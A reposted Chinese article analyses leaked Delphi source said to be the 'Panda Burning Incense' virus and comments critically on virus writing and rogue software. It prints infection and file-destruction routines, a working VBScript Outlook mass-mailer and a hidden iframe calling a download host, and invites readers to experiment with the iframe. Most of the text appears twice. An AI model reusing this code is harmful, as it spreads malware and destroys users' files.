“熊猫烧香”源码启示录
生活随笔
收集整理的這篇文章主要介紹了
“熊猫烧香”源码启示录
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
隨著“熊貓燒香”病毒的始作俑者的落網(wǎng),關(guān)于“熊貓燒香”病毒的危害和殺毒風(fēng)波告一段落,然而隨著“熊貓燒香”病毒源代碼在網(wǎng)上的流行,一種隱含的巨大的危害仿佛才剛剛開始。
??
一、 引言
? ? 去年秋天回趟老家,適逢家中秋收后“祭宅神”。期間,聽親家二大娘在香畢吟頌的《十柱香》的佛歌,深有感觸:百姓燒香祝的是神仙幸福,盼的是親人平安—這是作為衣食百姓發(fā)自內(nèi)心的心愿!但如今,正待舉國上下、一家老小慶祝金豬佳節(jié)到來之際,圖1中的這位老兄搶先一步把香燒到了幾乎家家戶戶,燒得各位焦頭爛額,人人喊“殺”。
試問這位仁兄:你到底想干什么?
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?
圖1.“熊貓燒香”病毒感染可執(zhí)行文件后的文件圖標(biāo)。
? ? 在短短一個月時間里,“熊貓燒香”作者多次發(fā)布更新版的變種病毒,每一次都針對以前設(shè)計的不完善進行修改,每次更新都幾盡感染破壞之能事。他為什么要如此辛勞地研制病毒程序呢?本人十分同意一些防毒軟件專家的觀點—“‘熊貓燒香’帶有強烈的商業(yè)目的,用戶感染病毒后,會從后臺點擊國外的網(wǎng)站,部分變種中含有盜號木馬,病毒作者可借此牟利……”。
? ?? ?最近,一份據(jù)稱是“熊貓燒香”病毒的源代碼正在互聯(lián)網(wǎng)上散播,任何人只要利用Google或者Baidu等搜索工具都可以輕易獲得(本人也是如此取得的代碼)。粗略分析該代碼后,我們注意到:該病毒在感染至日文操作系統(tǒng)時破壞性尤甚,但對其它語言Windows也造成了嚴(yán)重破壞。
? ? 本文中,我想對這個基于Delphi語言所編寫的“熊貓燒香源碼”作進一步分析,并闡述自己的幾點看法。
二、 “熊貓燒香”病毒“源碼”淺析
(一) 主程序段分析
??原“熊貓燒香”病毒“源碼”主程序段代碼如下所示:
[Copy to clipboard] CODE: {==================主程序開始====================}
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務(wù)進程
else //WinNT
begin
//遠(yuǎn)程線程映射到Explorer進程
//哪位兄臺愿意完成之?
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
? ? InfectFiles //感染和發(fā)郵件
else //已寄生于宿主程序上了,開始工作
begin
TmpFile := ParamStr(0); //創(chuàng)建臨時文件……....Line n
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一個空格
? ? ExtractFile(TmpFile); //分離之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //創(chuàng)建新進程運行之……....Line n+7
? ? InfectFiles; //感染和發(fā)郵件
end;
end.
稍加分析,我們不難繪出其相應(yīng)的執(zhí)行流程(如圖2):
??
? ?? ?? ?? ?? ?? ?? ? 圖2.主程序流程圖。
對于代碼:
? ? RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務(wù)進程
? ? 雖然源碼提供者省略了相應(yīng)實現(xiàn),但這是比較基本的編程實現(xiàn)。通過把自身注冊為服務(wù)進程,可以使自己隨著系統(tǒng)的啟動一起啟動。當(dāng)然,還可以進一步施加技巧而使自己從Windows任務(wù)管理器下隱藏顯示。
然后,上面代碼在判斷當(dāng)前操作系統(tǒng)不是Win9X后,提到“遠(yuǎn)程線程映射到Explorer進程”一句。其實這里所用正是Jeffrey Richter所著《Windows 95 Windows NT 3.5高級編程技術(shù)》(后多次更句)一書第16章“闖過進程的邊界”中詳細(xì)討論的“使用遠(yuǎn)程線程來注入一個DLL”技術(shù)。如今,只要上網(wǎng)GOOGLE一下“遠(yuǎn)程線程映射技術(shù)”即出現(xiàn)大量實現(xiàn)片斷,故在不再贅述。那么,它(包括其它許多病毒)為什么要映射到Explorer進程呢?原來,Explorer(注:Windows資源管理器的名字也是Explorer.exe,但并不是一回事!)進程在Windows系統(tǒng)中舉足輕重—Windows在啟動過程中都會隨同激活一個名為Explorer.exe的進程。它用于管理Windows圖形外殼,包括開始菜單、任務(wù)欄、桌面和文件管理等,損壞或刪除該程序會導(dǎo)致Windows圖形界面無法適用。注:這并不是說Windows的運行根本離不開它;但刪除掉這個程序后,整個Windows桌面無法再用,而對于普通用戶也感覺到好象無法再使用Windows了。
另注:VCL函數(shù)Paramstr(n)的作用是返回當(dāng)前可執(zhí)行文件指定的命令行參數(shù);當(dāng)n=0時,返回當(dāng)前可執(zhí)行文件名(包含完整的路徑)。
? ? 因此,上面代碼中從第n行到第n+7行的作用是,從已感染的宿主程序中分離出原無染程序代碼部分,并啟動此無染程序。這是病毒的重要偽裝手段之一:不是一下子使宿主中毒癱瘓,而是感染宿主使之達(dá)到繼續(xù)傳播目標(biāo)的同時,啟動另一個“原”無毒程序(實際上文件名已經(jīng)改變,加了一個空格字符)。
? ? 接下來,讓我們深入分析上面流程中“InfectFiles(感染文件)”部分的執(zhí)行過程。
(二) 具體感染文件的過程
這個子過程的源碼如下所示:
[Copy to clipboard] CODE: {遍歷磁盤上所有的文件并實際感染}
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系統(tǒng)。函數(shù)GetACP用于檢索系統(tǒng)所用語言
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可寫的磁盤列表
Len := Length(DriverList);
while True do //死循環(huán)
begin
for i := Len downto 1 do //遍歷每個磁盤驅(qū)動器
LoopFiles(DriverList + ':', '*.*'); //感染之
? ? SendMail; //發(fā)帶毒郵件
Sleep(1000 * 60 * 5); //睡眠5分鐘—病毒常用簡單詐騙術(shù)之一
end;
end;{ === InfectFiles }
這里的核心是后面的死循環(huán)。先讓我們分析較簡單的“發(fā)帶毒郵件”部分。從后面病毒具體遍歷可用磁盤并執(zhí)行具體感染過程可知,此過程中,它會取得安裝在本機中的常用郵件客戶端程序(Outlook,FoxMail)相應(yīng)電子郵件信息。其目的是:取得重要郵箱地址及相應(yīng)密碼,然后向這些郵件地址群發(fā)帶毒的電子郵件,從而達(dá)到利用網(wǎng)絡(luò)傳播自身的目的。下面是從網(wǎng)上摘錄的一段VBScript腳本:
[Copy to clipboard] CODE: Set objOA=Wscript.CreateObject("Outlook.Application")
'創(chuàng)建一個OUTLOOK應(yīng)用的對象
Set objMapi=objOA.GetNameSpace("MAPI")
'取得MAPI名字空間
For i=1 to objMapi.AddressLists.Count
'遍歷地址簿
??Set objAddList=objMapi.AddressLists(i)
??For j=1 To objAddList. AddressEntries.Count
? ? Set objMail=objOA.CreateItem (0)
? ? objMail.Recipients.Add (objAddList. AddressEntries (j))
? ? '取得收件人郵件地址
? ? objMail.Subject="你好!"
? ? '設(shè)置郵件主題
? ? objMail.Body="這次給你的附件,是我的新文檔!"
? ? '設(shè)置信件內(nèi)容
? ? objMail.Attachments.Add(“c:/virus.vbs")
? ? '把自己作為附件擴散出去
? ? objMail.Send
? ? '發(fā)送郵件
??Next
Next
Set objMapi=Nothing
Set objOA=Nothing
注意,這段代碼是非常基本的使用VBScript腳本操作Outlook COM對象,并進而達(dá)到通過編程方式操作Outlook發(fā)送特定郵件的編程技術(shù)。其中,最關(guān)鍵的一句在于:??
objMail.Attachments.Add(“c: / virus.vbs " )
? ?在此,任何一名病毒制作者都可以把這個附件文件名修改為新病毒文件自身!
(三) LoopFiles子過程分析
這個子程序的功能是:遍歷本地磁盤,并詳細(xì)實施感染及破壞過程。在此列出其關(guān)鍵代碼片斷:
[Copy to clipboard] CODE: { 遍歷目錄,感染和摧毀文件 }
procedure LoopFiles(Path, Mask: string);
var
//……局部變量定義
Msg: TMsg;
// IsValidDir判斷指定對象是否是“目錄”……
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調(diào)整消息隊列,避免引起懷疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then //Line X
? ?? ???begin
InfectOneFile(Fn); //感染可執(zhí)行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
? ?? ???begin
//感染HTML和ASP文件,將Base64編碼后的病毒寫入
//感染瀏覽此網(wǎng)頁的所有用戶
//哪位大兄弟愿意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
? ?? ???begin
//獲取Outlook郵件地址
end
else if Ext = '.ADC' then //Foxmail地址自動完成文件
? ?? ???begin
//獲取Foxmail郵件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
? ?? ???begin
//獲取Foxmail郵件地址
end
else
begin
if IsJap then //是倭文操作系統(tǒng)
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
? ?? ?? ?? ???……then
SmashFile(Fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件后睡眠200毫秒,避免CPU占用率過高引起懷疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
??begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
??FreeAndNil(SubDir);
end;
此子過程是典型的遍歷本機中所有可用盤中的所有子目錄下的所有文件并施行相應(yīng)操作的編碼。既如此,那么讓我們從Line X開始分析。在確定當(dāng)前文件為可執(zhí)行文件(僅針對.EXE和.SCR文件)后,調(diào)用子過程InfectOneFile進行特定的感染。接下來,如果文件為某些網(wǎng)頁(擴展名為.HTM、.HTML和.ASP),則繼續(xù)感染這些網(wǎng)頁文件—在網(wǎng)頁最后加入類似如下的代碼段(本代碼摘自某君對一種“熊貓病毒”變體的分析結(jié)果):
[Copy to clipboard] CODE: <iframe src="hxxp://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>
于是,用戶在啟動此網(wǎng)頁時,即可把URL導(dǎo)航到自己指定的網(wǎng)址(注:讀者試驗時不妨修改一下其中的URL,還有width和height等參數(shù),效果會更明顯)。接下來,程序進一步判斷如果當(dāng)前文件是電子郵件客戶端程序相應(yīng)的郵件地址數(shù)據(jù)文件,則取得這些地址信息。雖然此處沒有說明如何使用它們,但根據(jù)普通蠕蟲病毒特征,應(yīng)該是把帶有自身(病毒體)的郵件發(fā)送到這些郵件地址,進而達(dá)到利用網(wǎng)絡(luò)傳播自身的目的。奇怪的是,等程序執(zhí)行(判斷)到語句“if IsJap then”處—此時已經(jīng)對滿足前面特征的文件執(zhí)行完相應(yīng)的感染或傳播—才判斷操作系統(tǒng)是否為日文版本。如果是,則對另外一些常見文件類型(.DOC、.XLS、.MDB…….AVI)進行徹底破壞(調(diào)用過程SmashFile徹底摧毀文件)。看起來,這位“燒香”仁兄也是一位“愛國主義”分子。只可惜,在“打倒日本帝國主義”之前,你的廣大同胞已經(jīng)被“焚得焦頭爛額”了。
三、 “熊貓燒香”源碼告訴我們什么?
(一)病毒的編寫變得相對越來越容易
? ? 記得本人92年剛從學(xué)校畢業(yè)時,要想深入學(xué)習(xí)一點DOS內(nèi)核編程技術(shù),不得不費神“遠(yuǎn)程郵寄”參考書。而如今的互聯(lián)網(wǎng)上黑客教程遍地:XX黑客教程,XX破解教程,各種流行程序漏洞掃描教程……國內(nèi)的,國外的,應(yīng)有盡有。另一方面,微機早已進入普通家庭,這對各種計算機技術(shù)的普及也起到巨大的推動作用。所有這些極大地推動了病毒編寫技術(shù)的傳播,乃至于幾乎人人都能寫點病毒,但由于軟件編碼特有的“細(xì)活”之特性,使得不少學(xué)習(xí)粗心者“無意插柳柳成蔭”。
(二)病毒的傳播越來越容易
在上面的代碼中,我們注意到如下幾點:第一,程序遍歷磁盤上郵件地址庫把自己作為電子郵件附件發(fā)送出去;第二,病毒感染網(wǎng)頁文件(簡單地在網(wǎng)頁最后加入一小段代碼),致使當(dāng)前打開此網(wǎng)頁時即激活病毒體。這些“作戰(zhàn)”手段借助于廣泛普及的因特網(wǎng)幾乎是一蹴而就的事情。因而,從這種角度講,病毒的傳播已變得越來越容易。
(三)病毒代碼傳播的兩面性
如今回趟沂蒙老家,在普通農(nóng)莊以ADSL上網(wǎng)已成趨勢,而且這種趨勢可能較之于有線電視傳播更為迅速。似本文“熊貓燒香”病毒“源代碼”,其效能如同前面所提之各大“教程”;從其正面看,將極大地推動軟件技術(shù)的發(fā)展和廣大軟件愛好者的研制技術(shù);但從其消極面看,對于想制造病毒的人來說,也有相當(dāng)?shù)募夹g(shù)參考價值。只要稍試修改,很多“好事者”都可以藉此制造出病毒變種,說不定哪天又來個“鼠年喊打鼠”,“牛年喊殺牛”。
? ? 總之,網(wǎng)絡(luò)是把雙刃,或者說技術(shù)是把雙刃劍,這在計算機軟件業(yè)已得到最充分的認(rèn)證!于此,作者也不由得靈光一現(xiàn):如果說“護花使者”類軟件在國內(nèi)外極受廣大家長用戶的歡迎,那么,研究一款輔助警方緝拿這等網(wǎng)絡(luò)犯罪的共享軟件,也必定受寵(提及此,我們不由得再發(fā)感嘆:也許還是國人軟件法不健全,抑或是另有苦衷?網(wǎng)絡(luò)犯罪豈是來無影去無蹤般神話?)。各位仁君不妨一試。
(四)“流氓軟件” 離病毒僅一步之遙
? ? 且看中國互聯(lián)網(wǎng)協(xié)會公布的流氓軟件官方定義:
? ?惡意軟件定義:是指在未明確提示用戶或未經(jīng)用戶許可的情況下,在用戶計算機或其他終端上安裝運行,侵犯用戶合法權(quán)益的軟件,但已被我國現(xiàn)有法律法規(guī)規(guī)定的計算機病毒除外。其具體特征包括:強制安裝、難以卸載、瀏覽器劫持、廣告彈出、惡意收集用戶信息、惡意卸載、惡意捆綁以及其他侵犯用戶知情權(quán)、選擇權(quán)的惡意行為。
本人從網(wǎng)上也看到此“熊貓燒香”病毒作者留言的病毒制作“動機”,但從該病毒其它版本頻繁從后臺啟動國外指定網(wǎng)頁的行為來看,確有其明確的商業(yè)動機。中國軟件市場之混亂,猶如計算機病毒之“毒瘤”,改革開放之“腐敗”毒瘤,不治將恐甚。因此,從最近“熊貓燒香”新版的“金豬鬧春”發(fā)展勢頭來看,縱使該作者在論壇上透露將終止繼續(xù)研發(fā)新版本,但國軟市場之混亂加上有其巨大的商業(yè)利益驅(qū)動,他豈能就此罷手?
? ? 如今,網(wǎng)上大批特批“流氓軟件”,“灰色軟件”。請問:這樣的日子何時是個盡頭?恕在下直言,如果不從根本上整頓國軟市場之混亂局面,類似這種在網(wǎng)上瘋傳的“熊貓燒香”之“源碼”必使“灰色軟件”愈灰,“流氓軟件”之愈流氓!
四、 小結(jié)
? ? 如今網(wǎng)上流傳的“熊貓燒香源碼”,不由得不引發(fā)人們無盡的思考。我想,聯(lián)系中國特色的軟件市場來認(rèn)識這樣的問題似乎更為合適。“熊貓”、“燒香”本來各自是美好事物和良好祝福的象征,現(xiàn)在卻不由得不令人心焦。權(quán)當(dāng)本文系在下之胡言亂語。最后,謹(jǐn)祝各位:金豬之年財運望,發(fā)良財,發(fā)洋財,而不是發(fā)橫財!
??
一、 引言
? ? 去年秋天回趟老家,適逢家中秋收后“祭宅神”。期間,聽親家二大娘在香畢吟頌的《十柱香》的佛歌,深有感觸:百姓燒香祝的是神仙幸福,盼的是親人平安—這是作為衣食百姓發(fā)自內(nèi)心的心愿!但如今,正待舉國上下、一家老小慶祝金豬佳節(jié)到來之際,圖1中的這位老兄搶先一步把香燒到了幾乎家家戶戶,燒得各位焦頭爛額,人人喊“殺”。
試問這位仁兄:你到底想干什么?
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?
圖1.“熊貓燒香”病毒感染可執(zhí)行文件后的文件圖標(biāo)。
? ? 在短短一個月時間里,“熊貓燒香”作者多次發(fā)布更新版的變種病毒,每一次都針對以前設(shè)計的不完善進行修改,每次更新都幾盡感染破壞之能事。他為什么要如此辛勞地研制病毒程序呢?本人十分同意一些防毒軟件專家的觀點—“‘熊貓燒香’帶有強烈的商業(yè)目的,用戶感染病毒后,會從后臺點擊國外的網(wǎng)站,部分變種中含有盜號木馬,病毒作者可借此牟利……”。
? ?? ?最近,一份據(jù)稱是“熊貓燒香”病毒的源代碼正在互聯(lián)網(wǎng)上散播,任何人只要利用Google或者Baidu等搜索工具都可以輕易獲得(本人也是如此取得的代碼)。粗略分析該代碼后,我們注意到:該病毒在感染至日文操作系統(tǒng)時破壞性尤甚,但對其它語言Windows也造成了嚴(yán)重破壞。
? ? 本文中,我想對這個基于Delphi語言所編寫的“熊貓燒香源碼”作進一步分析,并闡述自己的幾點看法。
二、 “熊貓燒香”病毒“源碼”淺析
(一) 主程序段分析
??原“熊貓燒香”病毒“源碼”主程序段代碼如下所示:
[Copy to clipboard] CODE: {==================主程序開始====================}
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務(wù)進程
else //WinNT
begin
//遠(yuǎn)程線程映射到Explorer進程
//哪位兄臺愿意完成之?
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
? ? InfectFiles //感染和發(fā)郵件
else //已寄生于宿主程序上了,開始工作
begin
TmpFile := ParamStr(0); //創(chuàng)建臨時文件……....Line n
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一個空格
? ? ExtractFile(TmpFile); //分離之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //創(chuàng)建新進程運行之……....Line n+7
? ? InfectFiles; //感染和發(fā)郵件
end;
end.
稍加分析,我們不難繪出其相應(yīng)的執(zhí)行流程(如圖2):
??
? ?? ?? ?? ?? ?? ?? ? 圖2.主程序流程圖。
對于代碼:
? ? RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務(wù)進程
? ? 雖然源碼提供者省略了相應(yīng)實現(xiàn),但這是比較基本的編程實現(xiàn)。通過把自身注冊為服務(wù)進程,可以使自己隨著系統(tǒng)的啟動一起啟動。當(dāng)然,還可以進一步施加技巧而使自己從Windows任務(wù)管理器下隱藏顯示。
然后,上面代碼在判斷當(dāng)前操作系統(tǒng)不是Win9X后,提到“遠(yuǎn)程線程映射到Explorer進程”一句。其實這里所用正是Jeffrey Richter所著《Windows 95 Windows NT 3.5高級編程技術(shù)》(后多次更句)一書第16章“闖過進程的邊界”中詳細(xì)討論的“使用遠(yuǎn)程線程來注入一個DLL”技術(shù)。如今,只要上網(wǎng)GOOGLE一下“遠(yuǎn)程線程映射技術(shù)”即出現(xiàn)大量實現(xiàn)片斷,故在不再贅述。那么,它(包括其它許多病毒)為什么要映射到Explorer進程呢?原來,Explorer(注:Windows資源管理器的名字也是Explorer.exe,但并不是一回事!)進程在Windows系統(tǒng)中舉足輕重—Windows在啟動過程中都會隨同激活一個名為Explorer.exe的進程。它用于管理Windows圖形外殼,包括開始菜單、任務(wù)欄、桌面和文件管理等,損壞或刪除該程序會導(dǎo)致Windows圖形界面無法適用。注:這并不是說Windows的運行根本離不開它;但刪除掉這個程序后,整個Windows桌面無法再用,而對于普通用戶也感覺到好象無法再使用Windows了。
另注:VCL函數(shù)Paramstr(n)的作用是返回當(dāng)前可執(zhí)行文件指定的命令行參數(shù);當(dāng)n=0時,返回當(dāng)前可執(zhí)行文件名(包含完整的路徑)。
? ? 因此,上面代碼中從第n行到第n+7行的作用是,從已感染的宿主程序中分離出原無染程序代碼部分,并啟動此無染程序。這是病毒的重要偽裝手段之一:不是一下子使宿主中毒癱瘓,而是感染宿主使之達(dá)到繼續(xù)傳播目標(biāo)的同時,啟動另一個“原”無毒程序(實際上文件名已經(jīng)改變,加了一個空格字符)。
? ? 接下來,讓我們深入分析上面流程中“InfectFiles(感染文件)”部分的執(zhí)行過程。
(二) 具體感染文件的過程
這個子過程的源碼如下所示:
[Copy to clipboard] CODE: {遍歷磁盤上所有的文件并實際感染}
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系統(tǒng)。函數(shù)GetACP用于檢索系統(tǒng)所用語言
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可寫的磁盤列表
Len := Length(DriverList);
while True do //死循環(huán)
begin
for i := Len downto 1 do //遍歷每個磁盤驅(qū)動器
LoopFiles(DriverList + ':', '*.*'); //感染之
? ? SendMail; //發(fā)帶毒郵件
Sleep(1000 * 60 * 5); //睡眠5分鐘—病毒常用簡單詐騙術(shù)之一
end;
end;{ === InfectFiles }
這里的核心是后面的死循環(huán)。先讓我們分析較簡單的“發(fā)帶毒郵件”部分。從后面病毒具體遍歷可用磁盤并執(zhí)行具體感染過程可知,此過程中,它會取得安裝在本機中的常用郵件客戶端程序(Outlook,FoxMail)相應(yīng)電子郵件信息。其目的是:取得重要郵箱地址及相應(yīng)密碼,然后向這些郵件地址群發(fā)帶毒的電子郵件,從而達(dá)到利用網(wǎng)絡(luò)傳播自身的目的。下面是從網(wǎng)上摘錄的一段VBScript腳本:
[Copy to clipboard] CODE: Set objOA=Wscript.CreateObject("Outlook.Application")
'創(chuàng)建一個OUTLOOK應(yīng)用的對象
Set objMapi=objOA.GetNameSpace("MAPI")
'取得MAPI名字空間
For i=1 to objMapi.AddressLists.Count
'遍歷地址簿
??Set objAddList=objMapi.AddressLists(i)
??For j=1 To objAddList. AddressEntries.Count
? ? Set objMail=objOA.CreateItem (0)
? ? objMail.Recipients.Add (objAddList. AddressEntries (j))
? ? '取得收件人郵件地址
? ? objMail.Subject="你好!"
? ? '設(shè)置郵件主題
? ? objMail.Body="這次給你的附件,是我的新文檔!"
? ? '設(shè)置信件內(nèi)容
? ? objMail.Attachments.Add(“c:/virus.vbs")
? ? '把自己作為附件擴散出去
? ? objMail.Send
? ? '發(fā)送郵件
??Next
Next
Set objMapi=Nothing
Set objOA=Nothing
注意,這段代碼是非常基本的使用VBScript腳本操作Outlook COM對象,并進而達(dá)到通過編程方式操作Outlook發(fā)送特定郵件的編程技術(shù)。其中,最關(guān)鍵的一句在于:??
objMail.Attachments.Add(“c: / virus.vbs " )
? ?在此,任何一名病毒制作者都可以把這個附件文件名修改為新病毒文件自身!
(三) LoopFiles子過程分析
這個子程序的功能是:遍歷本地磁盤,并詳細(xì)實施感染及破壞過程。在此列出其關(guān)鍵代碼片斷:
[Copy to clipboard] CODE: { 遍歷目錄,感染和摧毀文件 }
procedure LoopFiles(Path, Mask: string);
var
//……局部變量定義
Msg: TMsg;
// IsValidDir判斷指定對象是否是“目錄”……
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調(diào)整消息隊列,避免引起懷疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then //Line X
? ?? ???begin
InfectOneFile(Fn); //感染可執(zhí)行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
? ?? ???begin
//感染HTML和ASP文件,將Base64編碼后的病毒寫入
//感染瀏覽此網(wǎng)頁的所有用戶
//哪位大兄弟愿意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
? ?? ???begin
//獲取Outlook郵件地址
end
else if Ext = '.ADC' then //Foxmail地址自動完成文件
? ?? ???begin
//獲取Foxmail郵件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
? ?? ???begin
//獲取Foxmail郵件地址
end
else
begin
if IsJap then //是倭文操作系統(tǒng)
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
? ?? ?? ?? ???……then
SmashFile(Fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件后睡眠200毫秒,避免CPU占用率過高引起懷疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
??begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
??FreeAndNil(SubDir);
end;
此子過程是典型的遍歷本機中所有可用盤中的所有子目錄下的所有文件并施行相應(yīng)操作的編碼。既如此,那么讓我們從Line X開始分析。在確定當(dāng)前文件為可執(zhí)行文件(僅針對.EXE和.SCR文件)后,調(diào)用子過程InfectOneFile進行特定的感染。接下來,如果文件為某些網(wǎng)頁(擴展名為.HTM、.HTML和.ASP),則繼續(xù)感染這些網(wǎng)頁文件—在網(wǎng)頁最后加入類似如下的代碼段(本代碼摘自某君對一種“熊貓病毒”變體的分析結(jié)果):
[Copy to clipboard] CODE: <iframe src="hxxp://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>
于是,用戶在啟動此網(wǎng)頁時,即可把URL導(dǎo)航到自己指定的網(wǎng)址(注:讀者試驗時不妨修改一下其中的URL,還有width和height等參數(shù),效果會更明顯)。接下來,程序進一步判斷如果當(dāng)前文件是電子郵件客戶端程序相應(yīng)的郵件地址數(shù)據(jù)文件,則取得這些地址信息。雖然此處沒有說明如何使用它們,但根據(jù)普通蠕蟲病毒特征,應(yīng)該是把帶有自身(病毒體)的郵件發(fā)送到這些郵件地址,進而達(dá)到利用網(wǎng)絡(luò)傳播自身的目的。奇怪的是,等程序執(zhí)行(判斷)到語句“if IsJap then”處—此時已經(jīng)對滿足前面特征的文件執(zhí)行完相應(yīng)的感染或傳播—才判斷操作系統(tǒng)是否為日文版本。如果是,則對另外一些常見文件類型(.DOC、.XLS、.MDB…….AVI)進行徹底破壞(調(diào)用過程SmashFile徹底摧毀文件)。看起來,這位“燒香”仁兄也是一位“愛國主義”分子。只可惜,在“打倒日本帝國主義”之前,你的廣大同胞已經(jīng)被“焚得焦頭爛額”了。
三、 “熊貓燒香”源碼告訴我們什么?
(一)病毒的編寫變得相對越來越容易
? ? 記得本人92年剛從學(xué)校畢業(yè)時,要想深入學(xué)習(xí)一點DOS內(nèi)核編程技術(shù),不得不費神“遠(yuǎn)程郵寄”參考書。而如今的互聯(lián)網(wǎng)上黑客教程遍地:XX黑客教程,XX破解教程,各種流行程序漏洞掃描教程……國內(nèi)的,國外的,應(yīng)有盡有。另一方面,微機早已進入普通家庭,這對各種計算機技術(shù)的普及也起到巨大的推動作用。所有這些極大地推動了病毒編寫技術(shù)的傳播,乃至于幾乎人人都能寫點病毒,但由于軟件編碼特有的“細(xì)活”之特性,使得不少學(xué)習(xí)粗心者“無意插柳柳成蔭”。
(二)病毒的傳播越來越容易
在上面的代碼中,我們注意到如下幾點:第一,程序遍歷磁盤上郵件地址庫把自己作為電子郵件附件發(fā)送出去;第二,病毒感染網(wǎng)頁文件(簡單地在網(wǎng)頁最后加入一小段代碼),致使當(dāng)前打開此網(wǎng)頁時即激活病毒體。這些“作戰(zhàn)”手段借助于廣泛普及的因特網(wǎng)幾乎是一蹴而就的事情。因而,從這種角度講,病毒的傳播已變得越來越容易。
(三)病毒代碼傳播的兩面性
如今回趟沂蒙老家,在普通農(nóng)莊以ADSL上網(wǎng)已成趨勢,而且這種趨勢可能較之于有線電視傳播更為迅速。似本文“熊貓燒香”病毒“源代碼”,其效能如同前面所提之各大“教程”;從其正面看,將極大地推動軟件技術(shù)的發(fā)展和廣大軟件愛好者的研制技術(shù);但從其消極面看,對于想制造病毒的人來說,也有相當(dāng)?shù)募夹g(shù)參考價值。只要稍試修改,很多“好事者”都可以藉此制造出病毒變種,說不定哪天又來個“鼠年喊打鼠”,“牛年喊殺牛”。
? ? 總之,網(wǎng)絡(luò)是把雙刃,或者說技術(shù)是把雙刃劍,這在計算機軟件業(yè)已得到最充分的認(rèn)證!于此,作者也不由得靈光一現(xiàn):如果說“護花使者”類軟件在國內(nèi)外極受廣大家長用戶的歡迎,那么,研究一款輔助警方緝拿這等網(wǎng)絡(luò)犯罪的共享軟件,也必定受寵(提及此,我們不由得再發(fā)感嘆:也許還是國人軟件法不健全,抑或是另有苦衷?網(wǎng)絡(luò)犯罪豈是來無影去無蹤般神話?)。各位仁君不妨一試。
(四)“流氓軟件” 離病毒僅一步之遙
? ? 且看中國互聯(lián)網(wǎng)協(xié)會公布的流氓軟件官方定義:
? ?惡意軟件定義:是指在未明確提示用戶或未經(jīng)用戶許可的情況下,在用戶計算機或其他終端上安裝運行,侵犯用戶合法權(quán)益的軟件,但已被我國現(xiàn)有法律法規(guī)規(guī)定的計算機病毒除外。其具體特征包括:強制安裝、難以卸載、瀏覽器劫持、廣告彈出、惡意收集用戶信息、惡意卸載、惡意捆綁以及其他侵犯用戶知情權(quán)、選擇權(quán)的惡意行為。
